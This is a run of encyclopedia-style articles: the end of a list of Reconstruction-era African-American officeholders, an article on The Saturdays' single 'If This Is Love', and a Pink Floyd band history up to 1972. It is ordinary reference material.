Thomas A. Grant – Ward 5 Common Council 1870
John T. Johnson – Ward 3 Common Council 1869; reading clerk for Common Council
Benjamin McCoy – Ward 4 Common Council 187
Sampson Netter – Ward 7 Common Council 1869
Henry H. Piper – Ward 2 Common Council 1869, 1870
George W. Ratton – Ward 4 Common Council 1869, 1870
Carter A. Stewart – Ward 1 Common Council 1868 and Ward 1 Board of Aldermen 1869
Robert Thompson – Ward 1 Common Council 1869, 1870
Andrew B. Tinney – Ward 5 Common Council 1869
James Monroe Trotter – Recorder of Deeds in Washington, D.C. 1887–1890
See also
African-American officeholders in the United States, 1789–1866
List of African-American officeholders (1900–1959)
List of African–American Republicans
List of African American firsts
List of first African-American mayors
List of African-American statewide elected officials
Notes
References
Further reading
Bailey, Richard. Neither Carpetbaggers Nor Scalawags: Black Officeholders During the Reconstruction of Alabama, 1867–1878. Montgomery: Richard Bailey Publishers, 1995.
Brown, Jr., Canter. Florida's Black Public Officials, 1867–1924. Tuscaloosa: University of Alabama Press, 1998.
Gibbs, Mifflin Wistar. Shadow and Light: An Autobiography. Lincoln: University of Nebraska Press, 1995.
Southern Black Leaders of the Reconstruction Era. Howard N. Rabinowitz, editor. University of Illinois Press, 1982.
Reconstruction Era
Officeholders During Reconstruction
History of civil rights in the United States
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If This Is Love
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"If This Is Love" is the debut single by English-Irish girl group The Saturdays from their debut album, Chasing Lights (2008). It was co-written by Joe Belmaati, Michaela Breen, Vince Clarke, Mich Hansen, Alison Moyet, John Reid, Remee and Ina Wroldsen. The song was produced by Belmaati in collaboration with Cutfather. The track samples a heavily synthesised backing rhythm from Yazoo's 1982 song "Situation".
"If This Is Love" was first released by Fascination and Polydor Records on 27 July 2008 as the lead single from Chasing Lights. It was accompanied by a B-side entitled "What Am I Gonna Do?", written and produced by Duck Blackwell and Paddy Dalton. The Saturdays collaborated with Ina Wroldsen on a number of songs; eight were chosen for the album. "If This Is Love" was then released as the first single from it. The song has prominent electropop and dance-pop genre characteristics. It contains lyrical influences from love-hate relationships, the definition of love and its complications that can result in situations of stalking.
"If This Is Love" received mainly positive reviews from contemporary music critics. On 3 August 2008, the single debuted and peaked at number eight on the UK Singles Chart with a total of just under 15,000 copies sold in its first week of release. It has since sold a total of 107,000 copies in the United Kingdom to-date. The single also garnered charting success for the group in Europe, where it reached number thirty-three on the European Hot 100 Singles chart.
The music video accompanying "If This Is Love" was directed by Harvey B. Brown and premiered on MSN Video on 16 June 2008. The video features The Saturdays in colourful dresses performing and meeting the paparazzi. "If This Is Love" was performed by The Saturdays as part of their setlist on The Work Tour and as supporting acts on Girls Aloud's Tangled Up Tour and Take That's Take That Present: The Circus Live Tour. The group also performed the single on various television shows, namely: Loose Women, GMTV and on Nickelodeon.
Popjustice included the song in its list of the top hundred and four singles of 2008, ranking it at number forty-five. About.com ranked "If This Is Love" in their list of the best dance songs of 2008 at number twenty-eight.
Background
"If This Is Love" was written by Joe Belmaati, Mich Hansen, Vince Clarke, Alison Moyet, John Reid, Remee and Ina Wroldsen for the group’s debut album Chasing Lights.
The track samples Yazoo's 1982 single "Situation" (written by Vince Clarke and Alison Moyet) as its heavily synthesised backing rhythm, the difference between the rhythm of "If This Is Love" is that it is in A♭-tune, in comparison to the original's C♭-tune. The song was produced by Danish producers Joe Belmaati and Cutfather. The song features additional backing vocals from Danish singer Nabiha. Belmaati has also been credited for the keyboard and percussion instrumentation in the song, as well as for doing its engineering, mixing and programming. The song was mastered by Dick Beetham, and Graham Archer assisted in its engineering and recording.
"If This Is Love" is an upbeat dance-pop, electropop and synthpop song. Its style has also been described by music critics as "obligatory fluffy summery pop", "pure uplifting pop", "an 80's throwback" and "an electro-soul number". The song has a feisty and danceable feel to it that would appeal as anthemic to the gay community. It is 3 minutes and 23 seconds in length. Written in the key of A♭ minor, the beat is set in common time and moves at a mid-tempo 117 beats per minute. The song was constructed around a keyboard and percussion arrangement that follows an Am–Em-F chord progression which forms the song's hook.
The vocals in the track are auto-tuned. Mollie King sings the response in the first and second verses, a backing vocal during the song's middle 8, and she opens and closes the song with a "Yeah!". Una Healy sings the call in the first verse as well as the bridge to the first and second choruses with Rochelle Wiseman, and some vocals after every chorus. Wiseman sings the bridges to the first and second choruses with Healy, as well as the song's middle 8. Frankie Sandford sings the solo parts in every chorus. Vanessa White sings the call in the second verse as well as backing vocals after the middle 8 and during the final chorus.
The song lyrics refer to love-hate relationships, the definition of love and its complications that can lead to situations of stalking. Healy elaborates:
Healy also elaborated on how excited the group were about releasing "If This Is Love":
[...] Getting our first single out there is going to be amazing. We've been working hard for a long time now and we want to show everyone what we're all about and what we can do. We're ready for it!
Critical reception
"If This Is Love" received mainly positive reviews from contemporary music critics. It garnered comparisons with the music produced by the likes of Girls Aloud, Depeche Mode, Sugababes, Robyn and Rachel Stevens, and was praised for its Yazoo sample and catchy chorus.
Catrin Pascoe of the Western Mail said that "If This Is Love" was her least favourite song on Chasing Lights. Nick Levine of Digital Spy reviewed the song: "This debut single is nothing that Rachel Stevens couldn't have given us three or four years ago: a midtempo electropop tune with a memorable chorus and a crafty Yazoo sample slipped in for bonus street cred. It's a solid, promising effort, but not really in the same league as the best debuts by British girl groups: 'Sound of the Underground', 'Overload', 'Wannabe' [...]". Evening Standard said: "'If This Is Love' is a slick electro-soul number. [...] The vocals are a little shrill in places, but the overall feel is upbeat and feisty."
Mike Barnes of musicOMH positively reviewed the single: "The track itself is the obligatory fluffy summery pop we can't seem to manage without at this time of the year, replete with auto-tuned vocals that sound as though they've simply been parachuted in over a dance track to make it radio friendly. The chorus is pleasing enough, but what really lifts this is the pervasive Yazoo sample." Elle J. Small of the BBC highlighted the song's "Synth-heavy sound" and further described its sound as "An '80s throwback". Johnny Dee of Virgin Media likened "If This Is Love" to Sugababes' 2002 song "Freak Like Me", saying: "The opening bars of 'If This Is Love' sample 80s legends Yazoo, much as Sugababes did with 'Freak' and Gary Numan." Popjustice boasted that the song is: "An object lesson in how to write a pop song with a chorus so unexpectedly brilliant that it makes you think your head is going to explode." Phillip Thomas from The London Paper described the track as "disco-candy". American blogger, Perez Hilton called the song a "gay anthem". PopSugar said the track is "danceable". DJ Ron Slomowicz from About.com labelled the single as "pop-perfection" and noted an influence of Spiller's 2000 song "Groovejet (If This Ain't Love)" in the intonation of the chorus. Mickey McMonagle of the Sunday Mail gave the single a five-star rating, calling it "catchy", a "brash pop song" and that "added impact comes from Yazoo's sample".
Peter Hayward of musicOMH described the song as follows: "'If This Is Love' is a jolly blend of techno, disco and dance similar to the likes of Girls Aloud and Robyn. The track is uncomplicated and upbeat, and just begging for dance routines to be formulated in teenagers' bedrooms across the nation." Gary Ryan from City Life said that the song surpassed the recent efforts of The Saturdays' girl group contemporaries; Sugababes and Pussycat Dolls. Daily Star called the song a "sassy slab of electro tunesmithery".
Fraser McAlpine of the BBC gave the single a four out of five star rating, saying:
Essentially there are two very good elements in play here: the Yazoo sample, and the chorus. Conveniently these two do not overlap, but one or the other is in play at pretty much any time. However, the sample is probably relied upon too heavily and once you realise that, the verses sound rather flimsy. The chorus, however, bears repeated listens. It's infectious and melodically strong, and mature [...] this is an impressive debut - The Saturdays have gone with the trick of releasing a song that doesn't sound like a first single, but sounds like they have in fact been doing this sort of thing for years and aren't even considering that this might not be a hit.
Chart performance
"If This Is Love" debuted and peaked at number eight on the UK Singles Chart on 3 August 2008. It sold 14,990 copies in its first week of release. The single was also the second highest new entry of the week behind Katy Perry's "I Kissed a Girl" which debuted at number four. The following week the single dropped out the top ten after one week, falling five places to number 13 on 10 August. In its third week on the chart the single dropped six places to number 19 and then a further six places to number 25 in fourth week on the chart. "If This Is Love" spent its fifth and final week in the top 40 at number 36 on 31 August before dropping eleven places to number 47 on 7 September. On 14 September it fell fourteen places to number 61 in its seventh week on the chart before dropping out of the top 75. Following the release of Chasing Lights and the popularity of follow-up single "Up", "If This Is Love" re-entered the chart after an absence of six weeks, at number 71 on 26 October 2008. It then climbed five places to number 66 the following week before exiting the chart again on 9 November 2008. Altogether, "If This Is Love" spent a total of nine weeks within the chart and has sold over 110,000 copies in the United Kingdom alone.
The group was pleased with the chart position "If This Is Love" achieved, Mollie King explained in an interview with Digital Spy:
We were thrilled! Nobody really knew The Saturdays at that point and for a new girl group to go straight into the top ten is fantastic.
The single also garnered charting success for the group in Europe, where it reached number 33 on the European Hot 100 Singles chart.
Despite the song's success, the group have since said that "If This Is Love" is the song they like the least out of all their songs.
Music video
The music video for "If This Is Love" was directed by Harvey B Brown and premiered on MSN Video on 16 June 2008.
Upon the filming of the music video, Wiseman commented on the experience:
We had so much fun, it was a very long day but we enjoyed every second of it! I had to get up at 5.30 in the morning so I didn't look too pretty, but thankfully we had an amazing 'glam squad' on hand! We all felt like superstars for the day! It's really starting to feel like our hard work is paying off. We all just kept saying 'I can't believe we are finally making a video'.
Sandford elaborated on the styling experience during the video, saying: "We were all excited to see what the stylist had in store for us. It was so fun [...] It's like shopping but better, because all the best stuff has been picked out for you!"
In the video the group wears vintage inspired cup fitted cinched dresses. The dresses are inspired by the simple, modern satin dresses that are usually seen on the stars on the red carpet. Sandford wears a 'passionate purple' silver ribbon banded strappy dress. Healy has a yellow layered satin dress with flowing detail at the skirt. King wore a berry print waist banded slim fitting satin dress with a pair of little black heels and a little silver diamante Playboy necklace. White and Wiseman had layered Bust Jersey dresses, with a cinched-in waist and flared skirt.
Concept
The concept of the music video is that The Saturdays are shooting a pop video and, people and video crew are fussing over them. They play the role of famous popstars. There are teenage girl fans outside the shop and performance implying that the band is established and already has fans. The band are appearing in the window of a high street, Top Shop-style store. "Despite looking great the band are accessible and so is their style" describes Popjustice. This aimed to give imagery to the viewer that they can dress like The Saturdays and be part of their group and fanbase. A boy, described as "inoffensively handsome" gives Sandford his number. This imagery is aimed to get the group's fans to think the same might happen to them if they become part of the group or fanbase. The band sign autographs after the photo shoot, this is to show that they are not so famous that they refuse to sign autographs and to create the imagery that the band will be friendly to you if they see you as a fan in public.
The video begins with the group's logo flashing onscreen before moving into the setting of a backstage dressing room which enables passers-by to have a view of the activity within, similar to a display window. The group's members are sitting down singing during the first verse and bridge as they are getting their hair and make-up done whilst looking in the mirror. Viewers also get introduced to the tradition of each member's signature colour in dress code which is apparent in most of the music videos the band has released likewise in this video - each girl is wearing a different coloured dress to the other girls. The colours being: red, blue, green, yellow and pink.
The setting then moves in what seems to be an evening scene where the girls are getting escorted by the music video's production crew to performing live onstage in front of a cheering audience. Whilst on stage, each girl's stiletto heel can also be seen to be a different colour to other girls' and at the same time not matching the colour of their dress. The girls are prominently seen singing seated on colourful chairs during this scene. The background to the stage is in a washed out colour that contrasts with the group's outfits. Nearing the end of this scene, a man in the crowd can be seen handing out his phone number on a piece of paper to one of the group members, Sandford, who in the end ignores the offer.
The crowd can be heard cheering ecstatically as the group is escorted by the production crew off the stage before moving onto the final setting. This setting comprises the girls walking side by side, surrounded by a large number of fans and the paparazzi cheering for them. The girls sign autographs for their fans amongst the flashing lights of the paparazzi cameras. The music video then ends with the lights on the stage where they were performing - flashing out. The music video uses the single's album version and not the shorter radio edit.
Reception
King blogged about her reaction to when she first saw the video: [...] suddenly we got a call from our management telling us to come into the office to watch our video for 'If This Is Love' for the first time ever! Ahhh we were so nervous and so excited! We all shot up there as fast as we could and all I can say is... 'Oh my God, it is amazing!' We were so happy, Ness (Vanessa White) and I even started crying! We all ran out of the office after and had a group hug (yes, my idea, you know I like to cheese things up, haha). I wanted to run out onto the street and shout 'Hey everyone our music video rocks!'
PopSugar positively reviewed the video, saying they loved the group's logo and walk in unison. Popjustice positively reviewed the music video, saying: "As well as being a nice video featuring some pretty ladies in colourful frocks, it's a brilliant piece of suggestive film making which clearly signposts several important factors for the viewer."
Live performances
To coincide with the release of "If This Is Love" the group begun touring the United Kingdom with girl group Girls Aloud on 3 May 2008 as a supporting act for their Tangled Up Tour.
Prior to the tour, White mentioned: "We can't wait to get out and sing it in front of loads of people, it's going to be brilliant".
On 22 June 2008, the Saturdays performed on live television for the first time, on Channel 4 music television show The Nokia Green Room. The group then performed "If This Is Love" on GMTV'''s The Richard Arnold Show on 18 July 2008. 24 July 2008 saw the group perform "If This Is Love" on British lunchtime television programme Loose Women as part of the single's pre-release promotion. The band then performed the single on a children's television channel, Nickelodeon on 30 July 2008. In October 2008, the single was performed by the girls on BBC television series, Sound.
On 3 January 2009, the group performed the song along with "Up" and "Issues" at G-A-Y. The girls wore sequined miniskirts and big hair during the performance.
"If This Is Love" featured as the opening performance in the group's first solo tour, The Work Tour. They performed it at twenty-six different venues in the United Kingdom and The Philippines between June and August 2009. During their performance, the group wears matching black raincoats. Catrin Pascoe of the Western Mail positively reviewed a performance of the song on the tour, mentioning: "[...] they got me up on my feet dancing and singing along. [...] for their biggest performance yet, the five girls did themselves proud, leaving me wishing they needed a sixth member." At another date of the tour, the performance of the song received a negative review from Rick Pearson of the Evening Standard'': "'If This Is Love' was a nervy set-opener with the band looking and sounding unsure and exposed."
Formats and track listings
CD single
(Released: 28 July 2008)
"If This Is Love" (Radio Edit) — 2:59
"What Am I Gonna Do?" — 3:18
Digital single(Released: 27 July 2008)
"If This Is Love" — 3:24
"What Am I Gonna Do?" — 3:18
iTunes single(Released: 27 July 2008)
"If This Is Love" — 3:24
"If This Is Love" (Moto Blanco Club Mix) — 7:45
Revamped version
"If This Is Love" — 3:24
"What Am I Gonna Do" — 3:15
"If This Is Love" (Moto Blanco Radio Edit) — 3:35
"If This Is Love" (Moto Blanco Club Mix) — 7:45
Official versions
"If This Is Love" (Radio Edit) — 2:59
"If This Is Love" (Album Version) — 3:23
"If This Is Love" (Moto Blanco Radio Edit) — 3:38
"If This Is Love" (Coin Operated Boy Remix) — 5:18
"If This Is Love" (Moto Blanco Dub) — 7:42
"If This Is Love" (Moto Blanco Club Remix) — 7:45
Credits and personnel
Songwriting – Joe Belmaati, Vince Clarke, Alison Moyet, John Reid, Remee, Ina Wroldsen, Michaela Breen
Production – Joe Belmaati, Cutfather
Instruments and programming – Joe Belmaati
Recording – Graham Archer
Engineering – Joe Belmaati, Graham Archer
Main vocals – Una Healy, Mollie King, Frankie Sandford, Vanessa White, Rochelle Wiseman
Background vocals – Mollie King, Nabiha, Vanessa White, Michaela Breen
Mixing – Joe Belmaati
Mastering – Dick Beetham
Charts
Release history
References
2008 songs
2008 debut singles
The Saturdays songs
Songs written by Remee
Songs written by Vince Clarke
Songs written by Alison Moyet
Wikipedia requested audio of songs
Songs written by Cutfather
Songs written by Ina Wroldsen
Fascination Records singles
Polydor Records singles
British synth-pop songs
Electropop songs
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https://en.wikipedia.org/wiki/Pink%20Floyd
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Pink Floyd
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Pink Floyd are an English rock band formed in London in 1965. Gaining an early following as one of the first British psychedelic groups, they were distinguished by their extended compositions, sonic experimentation, philosophical lyrics and elaborate live shows. They became a leading band of the progressive rock genre, cited by some as the greatest progressive rock band of all time.
Pink Floyd were founded in 1965 by Syd Barrett (guitar, lead vocals), Nick Mason (drums), Roger Waters (bass guitar, vocals) and Richard Wright (keyboards, vocals). Under Barrett's leadership, they released two hit singles, "Arnold Layne" and "See Emily Play", and the successful debut album The Piper at the Gates of Dawn (1967). Guitarist and vocalist David Gilmour joined in January 1968; Barrett left in April 1968 due to deteriorating mental health. Waters became the primary lyricist and thematic leader, devising the concepts behind Pink Floyd's most successful albums, The Dark Side of the Moon (1973), Wish You Were Here (1975), Animals (1977) and The Wall (1979). The musical film based on The Wall, Pink Floyd – The Wall (1982), won two BAFTA Awards. Pink Floyd also composed several film scores.
Following personal tensions, Wright left Pink Floyd in 1981, followed by Waters in 1985. Gilmour and Mason continued as Pink Floyd, rejoined later by Wright. They produced the albums A Momentary Lapse of Reason (1987) and The Division Bell (1994), backed by major tours, before entering a long hiatus. In 2005, all but Barrett reunited for a performance at the global awareness event Live 8. Barrett died in 2006, and Wright in 2008. The last Pink Floyd studio album, The Endless River (2014), was based on unreleased material from the Division Bell recording sessions. In 2022, Gilmour and Mason reformed Pink Floyd to release the song "Hey, Hey, Rise Up!" in protest at the Russian invasion of Ukraine.
By 2013, Pink Floyd had sold more than 250 million records worldwide, making them one of the best-selling music artists of all time. The Dark Side of the Moon and The Wall were inducted into the Grammy Hall of Fame, and these albums and Wish You Were Here are among the best-selling albums of all time. Four Pink Floyd albums topped the US Billboard 200, and five topped the UK Albums Chart. Pink Floyd's hit singles include "Arnold Layne" (1967), "See Emily Play" (1967), "Money" (1973), "Another Brick in the Wall, Part 2" (1979), "Not Now John" (1983), "On the Turning Away" (1987) and "High Hopes" (1994). They were inducted into the US Rock and Roll Hall of Fame in 1996 and the UK Music Hall of Fame in 2005. In 2008, Pink Floyd were awarded the Polar Music Prize in Sweden for their contribution to modern music.
History
1963–1965: formation
Preceding the band
Roger Waters and Nick Mason met while studying architecture at the London Polytechnic at Regent Street. They first played music together in a group formed by fellow students Keith Noble and Clive Metcalfe, with Noble's sister Sheilagh. Richard Wright, a fellow architecture student, joined later that year, and the group became a sextet, Sigma 6. Waters played lead guitar, Mason drums, and Wright rhythm guitar, later moving to keyboards. The band performed at private functions and rehearsed in a tearoom in the basement of the Regent Street Polytechnic. They performed songs by the Searchers and material written by their manager and songwriter, fellow student Ken Chapman.
In September 1963, Waters and Mason moved into a flat at 39 Stanhope Gardens near Crouch End in London, owned by Mike Leonard, a part-time tutor at the nearby Hornsey College of Art and the Regent Street Polytechnic. Mason moved out after the 1964 academic year, and guitarist Bob Klose moved in during September 1964, prompting Waters's switch to bass. Sigma 6 went through several names, including the Meggadeaths, the Abdabs and the Screaming Abdabs, Leonard's Lodgers, and the Spectrum Five, before settling on the Tea Set. In 1964, as Metcalfe and Noble left to form their own band, guitarist Syd Barrett joined Klose and Waters at Stanhope Gardens. Barrett, two years younger, had moved to London in 1962 to study at the Camberwell College of Arts. Waters and Barrett were childhood friends; Waters had often visited Barrett and watched him play guitar at Barrett's mother's house. Mason said about Barrett: "In a period when everyone was being cool in a very adolescent, self-conscious way, Syd was unfashionably outgoing; my enduring memory of our first encounter is the fact that he bothered to come up and introduce himself to me."
Noble and Metcalfe left the Tea Set in late 1963, and Klose introduced the band to singer Chris Dennis, a technician with the Royal Air Force (RAF). In December 1964, they secured their first recording time, at a studio in West Hampstead, through one of Wright's friends, who let them use some down time free. Wright, who was taking a break from his studies, did not participate in the session. When the RAF assigned Dennis a post in Bahrain in early 1965, Barrett became the band's frontman. Later that year, they became the resident band at the Countdown Club near Kensington High Street in London, where from late night until early morning they played three sets of 90 minutes each. During this period, spurred by the group's need to extend their sets to minimise song repetition, the band realised that "songs could be extended with lengthy solos", wrote Mason. After pressure from his parents and advice from his college tutors, Klose quit the band in mid-1965 and Barrett took over lead guitar.
1965–1967: early years
Pink Floyd
The group rebranded in late 1965, first referring to themselves as the Pink Floyd Sound. They would later be referred to as the Pink Floyd and later simply Pink Floyd. Barrett created the name on the spur of the moment when he discovered that another band, also called the Tea Set, were to perform at one of their gigs. The name is derived from the given names of two blues musicians whose Piedmont blues records Barrett had in his collection, Pink Anderson and Floyd Council. By 1966, the group's repertoire consisted mainly of rhythm and blues songs, and they had begun to receive paid bookings, including a performance at the Marquee Club in December 1966, where Peter Jenner, a lecturer at the London School of Economics, noticed them. Jenner was impressed by the sonic effects Barrett and Wright created and, with his business partner and friend Andrew King, became their manager. The pair had little experience in the music industry and used King's inheritance to set up Blackhill Enterprises, purchasing about £1,000 () worth of new instruments and equipment for the band. It was around this time that Jenner suggested they drop the "Sound" part of their band name, thus becoming Pink Floyd. Under Jenner and King's guidance, the group became part of London's underground music scene, playing at venues including All Saints Hall and the Marquee. While performing at the Countdown Club, the band had experimented with long instrumental excursions, and they began to expand them with rudimentary but effective light shows, projected by coloured slides and domestic lights. Jenner and King's social connections helped gain the band prominent coverage in the Financial Times and an article in the Sunday Times which stated: "At the launching of the new magazine IT the other night a pop group called the Pink Floyd played throbbing music while a series of bizarre coloured shapes flashed on a huge screen behind them ... apparently very psychedelic."
In 1966, the band strengthened their business relationship with Blackhill Enterprises, becoming equal partners with Jenner and King and the band members each holding a one-sixth share. By late 1966, their set included fewer R&B standards and more Barrett originals, many of which would be included on their first album. While they had significantly increased the frequency of their performances, the band were still not widely accepted. Following a performance at a Catholic youth club, the owner refused to pay them, claiming that their performance was not music. When their management filed suit in a small claims court against the owner of the youth organisation, a local magistrate upheld the owner's decision. The band was much better received at the UFO Club in London, where they began to build a fan base. Barrett's performances were enthusiastic, "leaping around ... madness ... improvisation ... [inspired] to get past his limitations and into areas that were ... very interesting. Which none of the others could do", wrote biographer Nicholas Schaffner.
Signing with EMI
In 1967, Pink Floyd began to attract the attention of the music industry. While in negotiations with record companies, IT co-founder and UFO club manager Joe Boyd and Pink Floyd's booking agent Bryan Morrison arranged and funded a recording session at Sound Techniques in Kensington. Three days later, Pink Floyd signed with EMI, receiving a £5,000 advance (). EMI released the band's first single, "Arnold Layne", with the B-side "Candy and a Currant Bun", on 10 March 1967 on its Columbia label. Both tracks were recorded on 29 January 1967. "Arnold Layne"'s references to cross-dressing led to a ban by several radio stations; however, creative manipulation by the retailers who supplied sales figures to the music business meant that the single reached number 20 in the UK.
EMI-Columbia released Pink Floyd's second single, "See Emily Play", on 16 June 1967. It fared slightly better than "Arnold Layne", peaking at number 6 in the UK. The band performed on the BBC's Look of the Week, where Waters and Barrett, erudite and engaging, faced tough questioning from Hans Keller. They appeared on the BBC's Top of the Pops, a popular programme that controversially required artists to mime their singing and playing. Though Pink Floyd returned for two more performances, by the third, Barrett had begun to unravel, and around this time the band first noticed significant changes in his behaviour. By early 1967, he was regularly using LSD, and Mason described him as "completely distanced from everything going on".
The Piper at the Gates of Dawn
Morrison and EMI producer Norman Smith negotiated Pink Floyd's first recording contract. As part of the deal, the band agreed to record their first album at EMI Studios in London. Mason recalled that the sessions were trouble-free. Smith disagreed, stating that Barrett was unresponsive to his suggestions and constructive criticism. EMI-Columbia released The Piper at the Gates of Dawn in August 1967. The album reached number six, spending 14 weeks on the UK charts. One month later, it was released under the Tower Records label. Pink Floyd continued to draw large crowds at the UFO Club; however, Barrett's mental breakdown was by then causing serious concern. The group initially hoped that his erratic behaviour would be a passing phase, but some were less optimistic, including Jenner and his assistant, June Child, who commented: "I found [Barrett] in the dressing room and he was so ... gone. Roger Waters and I got him on his feet, [and] we got him out to the stage ... The band started to play and Syd just stood there. He had his guitar around his neck and his arms just hanging down".
Forced to cancel Pink Floyd's appearance at the prestigious National Jazz and Blues Festival, as well as several other shows, King informed the music press that Barrett was suffering from nervous exhaustion. Waters arranged a meeting with psychiatrist R. D. Laing, and though Waters personally drove Barrett to the appointment, Barrett refused to come out of the car. A stay in Formentera with Sam Hutt, a doctor well established in the underground music scene, led to no visible improvement. The band followed a few concert dates in Europe during September with their first tour of the US in October. As the US tour went on, Barrett's condition grew steadily worse. During appearances on the Dick Clark and Pat Boone shows in November, Barrett confounded his hosts by giving terse answers to questions (or not responding at all) and staring into space. He refused to move his lips when it came time to mime "See Emily Play" on Boone's show. After these embarrassing episodes, King ended their US visit and immediately sent them home to London. Soon after their return, they supported Jimi Hendrix during a tour of England; however, Barrett's depression worsened as the tour continued.
1967–1978: transition and international success
1967: replacement of Barrett by Gilmour
In December 1967, reaching a crisis point with Barrett, Pink Floyd added guitarist David Gilmour as the fifth member. Gilmour already knew Barrett, having studied with him at Cambridge Tech in the early 1960s. The two had performed at lunchtimes together with guitars and harmonicas, and later hitch-hiked and busked their way around the south of France. In 1965, while a member of Joker's Wild, Gilmour had watched the Tea Set.
Morrison's assistant, Steve O'Rourke, set Gilmour up in a room at O'Rourke's house with a salary of £30 per week (). In January 1968, Blackhill Enterprises announced Gilmour as the band's newest member, intending to continue with Barrett as a nonperforming songwriter. According to Jenner, the group planned that Gilmour would "cover for [Barrett's] eccentricities". When this proved unworkable, it was decided that Barrett would just write material. In an expression of his frustration, Barrett, who was expected to write additional hit singles to follow up "Arnold Layne" and "See Emily Play", instead introduced "Have You Got It Yet?" to the band, intentionally changing the structure on each performance so as to make the song impossible to follow and learn. In a January 1968 photoshoot of Pink Floyd, the photographs show Barrett looking detached from the others, staring into the distance.
Working with Barrett eventually proved too difficult, and matters came to a conclusion in January while en route to a performance in Southampton when a band member asked if they should collect Barrett. According to Gilmour, the answer was "Nah, let's not bother", signalling the end of Barrett's tenure with Pink Floyd. Waters later said, "He was our friend, but most of the time we now wanted to strangle him." In early March 1968, Pink Floyd met with business partners Jenner and King to discuss the band's future; Barrett agreed to leave.
Jenner and King believed Barrett was the creative genius of the band, and decided to represent him and end their relationship with Pink Floyd. Morrison sold his business to NEMS Enterprises, and O'Rourke became the band's personal manager. Blackhill announced Barrett's departure on 6 April 1968. After Barrett's departure, the burden of lyrical composition and creative direction fell mostly on Waters. Initially, Gilmour mimed to Barrett's voice on the group's European TV appearances; however, while playing on the university circuit, they avoided Barrett songs in favour of Waters and Wright material such as "It Would Be So Nice" and "Careful with That Axe, Eugene".
A Saucerful of Secrets (1968)
In 1968, Pink Floyd returned to Abbey Road Studios to complete their second album, A Saucerful of Secrets, which they had begun in 1967 under Barrett's leadership. The album included Barrett's final contribution to their discography, "Jugband Blues". Waters developed his own songwriting, contributing "Set the Controls for the Heart of the Sun", "Let There Be More Light", and "Corporal Clegg". Wright composed "See-Saw" and "Remember a Day". Norman Smith encouraged them to self-produce their music, and they recorded demos of new material at their houses. With Smith's instruction at Abbey Road, they learned how to use the recording studio to realise their artistic vision. However, Smith remained unconvinced by their music, and when Mason struggled to perform his drum part on "Remember a Day", Smith stepped in as his replacement. Wright recalled Smith's attitude about the sessions, "Norman gave up on the second album ... he was forever saying things like, 'You can't do twenty minutes of this ridiculous noise. As neither Waters nor Mason could read music, to illustrate the structure of the album's title track, they invented their own system of notation. Gilmour later described their method as looking "like an architectural diagram".
Released in June 1968, the album featured a psychedelic cover designed by Storm Thorgerson and Aubrey Powell of Hipgnosis. The first of several Pink Floyd album covers designed by Hipgnosis, it was the second time that EMI permitted one of their groups to contract designers for an album jacket. The release reached number nine, spending 11 weeks on the UK chart. Record Mirror gave the album an overall favourable review, but urged listeners to "forget it as background music to a party". John Peel described a live performance of the title track as "like a religious experience", while NME described the song as "long and boring ... [with] little to warrant its monotonous direction". On the day after the album's UK release, Pink Floyd performed at the first ever free concert in Hyde Park. In July 1968, they made a second visit to the US. Accompanied by the Soft Machine and the Who, it marked Pink Floyd's first major tour. That December, they released "Point Me at the Sky"; no more successful than the two singles they had released since "See Emily Play", it was their last single until "Money" in 1973.
Ummagumma (1969), Atom Heart Mother (1970) and Meddle (1971)
Ummagumma represented a departure from Pink Floyd's previous work. Released as a double LP on EMI's Harvest label, the first two sides contained live performances recorded at Manchester College of Commerce and Mothers, a club in Birmingham. The second LP contained a single experimental contribution from each band member. Ummagumma was released in November 1969 and received positive reviews. It reached number five, spending 21 weeks on the UK chart.
In October 1970, Pink Floyd released Atom Heart Mother. An early version premièred in England in mid January, but disagreements over the mix prompted the hiring of Ron Geesin to work out the sound problems. Geesin worked to improve the score, but with little creative input from the band, production was troublesome. Geesin eventually completed the project with the aid of John Alldis, who was the director of the choir hired to perform on the record. Smith earned an executive producer credit, and the album marked his final official contribution to the band's discography. Gilmour said it was "A neat way of saying that he didn't ... do anything". Waters was critical of Atom Heart Mother, claiming that he would prefer if it were "thrown into the dustbin and never listened to by anyone ever again". Gilmour once described it as "a load of rubbish", stating: "I think we were scraping the barrel a bit at that period." Pink Floyd's first number-one album, Atom Heart Mother was hugely successful in Britain, spending 18 weeks on the UK chart. It premièred at the Bath Festival on 27 June 1970.
Pink Floyd toured extensively across America and Europe in 1970. In 1971, Pink Floyd took second place in a reader's poll, in Melody Maker, and for the first time were making a profit. Mason and Wright became fathers and bought homes in London while Gilmour, still single, moved to a 19th-century farm in Essex. Waters installed a home recording studio at his house in Islington in a converted tool shed at the back of his garden.
In January 1971, upon their return from touring Atom Heart Mother, Pink Floyd began working on new material. Lacking a central theme, they attempted several unproductive experiments; engineer John Leckie described the sessions as often beginning in the afternoon and ending early the next morning, "during which time nothing would get [accomplished]. There was no record company contact whatsoever, except when their label manager would show up now and again with a couple of bottles of wine and a couple of joints". The band spent long periods working on basic sounds, or a guitar riff. They also spent several days at Air Studios, attempting to create music using a variety of household objects, a project which would be revisited between The Dark Side of the Moon and Wish You Were Here.
Meddle was released in October 1971, and reached number three, spending 82 weeks on the UK chart. It marks a transition between the Barrett-led group of the late 1960s and the emerging Pink Floyd; Jean-Charles Costa of Rolling Stone wrote that "not only confirms lead guitarist David Gilmour's emergence as a real shaping force with the group, it states forcefully and accurately that the group is well into the growth track again". NME called it "an exceptionally good album", singling out "Echoes" as the "Zenith which the Floyd have been striving for". However, Melody Maker's Michael Watts found it underwhelming, calling the album "a soundtrack to a non-existent movie", and shrugging off Pink Floyd as "so much sound and fury, signifying nothing".
Obscured by Clouds (1972)
Pink Floyd had already recorded the soundtracks to the films The Committee (1968) and More (1969) and part of Zabriskie Point (1970). On the back of Mores success, the director Barbet Schroeder asked them to record the soundtrack of his next major project, La Vallée. The band took two breaks to Strawberry Studios, Château d'Hérouville, France, either side of a Japanese tour, to write and record music for the film. The album was mixed from 4–6 April at Morgan Studios in London. During the first recording session in February 1972, the French television station ORTF filmed a short segment of the band recording the album, including interviews with Waters and Gilmour.
Waters said that early UK pressings of the album contained "excessive sibilance". After recording had finished, the band fell out with the film company, prompting them to release the soundtrack album as Obscured by Clouds, rather than La Vallée. The film was retitled La Vallée (Obscured by Clouds) on its release.
